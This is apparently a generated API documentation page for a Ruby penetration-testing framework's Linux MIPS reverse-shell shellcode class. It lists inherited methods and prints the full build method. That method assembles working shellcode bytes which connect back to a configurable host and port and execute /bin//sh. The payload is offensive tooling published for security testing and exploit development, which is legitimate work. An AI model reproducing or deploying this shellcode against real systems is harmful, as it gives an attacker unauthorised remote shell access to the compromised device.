Class: Ronin::Payloads::Shellcode::Linux::MIPS::ReverseShell

Inherits:
ReverseShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb

Overview

Linux MIPS shellcode that spawns a connect back reverse shell.

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from ReverseShellPayload

#packed_ipv4, #packed_ipv6, #packed_port

Methods included from Mixins::Network

#pack_ipv4, #pack_ipv6, #pack_port

Methods included from Mixins::ResolveHost

#host_address, #host_addresses, #host_ip_address, #host_ip_addresses, #host_ipv4_address, #host_ipv4_addresses, #host_ipv6_address, #host_ipv6_addresses

Methods included from Mixins::ReverseShell

#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the shellcode.



54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# File 'lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb', line 54

def build
  sin_addr_hi = packed_ipv4[0,2]
  sin_addr_lo = packed_ipv4[2,2]

  @payload = "\x24\x0f\xff\xfd" \
             "\x01\xe0\x20\x27" \
             "\x01\xe0\x28\x27" \
             "\x28\x06\xff\xff" \
             "\x24\x02\x10\x57" \
             "\x01\x01\x01\x0c" \
             \
             "\xaf\xa2\xff\xff" \
             "\x8f\xa4\xff\xff" \
             "\x24\x0f\xff\xfd" \
             "\x01\xe0\x78\x27" \
             "\xaf\xaf\xff\xe0" \
             "\x3c\x0e#{packed_port}" \
             "\x35\xce#{packed_port}" \
             "\xaf\xae\xff\xe4" \
             \
             "\x3c\x0d#{sin_addr_hi}" \
             "\x35\xad#{sin_addr_lo}" \
             \
             "\xaf\xad\xff\xe6" \
             "\x23\xa5\xff\xe2" \
             "\x24\x0c\xff\xef" \
             "\x01\x80\x30\x27" \
             "\x24\x02\x10\x4a" \
             "\x01\x01\x01\x0c" \
             \
             "\x24\x0f\xff\xfd" \
             "\x01\xe0\x28\x27" \
             "\x8f\xa4\xff\xff" \
             "\x24\x02\x0f\xdf" \
             "\x01\x01\x01\x0c" \
             "\x20\xa5\xff\xff" \
             "\x24\x01\xff\xff" \
             "\x14\xa1\xff\xfb" \
             \
             "\x28\x06\xff\xff" \
             "\x3c\x0f\x2f\x2f" \
             "\x35\xef\x62\x69" \
             "\xaf\xaf\xff\xf4" \
             "\x3c\x0e\x6e\x2f" \
             "\x35\xce\x73\x68" \
             "\xaf\xae\xff\xf8" \
             "\xaf\xa0\xff\xfc" \
             "\x27\xa4\xff\xf4" \
             "\x28\x05\xff\xff" \
             "\x24\x02\x0f\xab" \
             "\x01\x01\x01\x0c"
end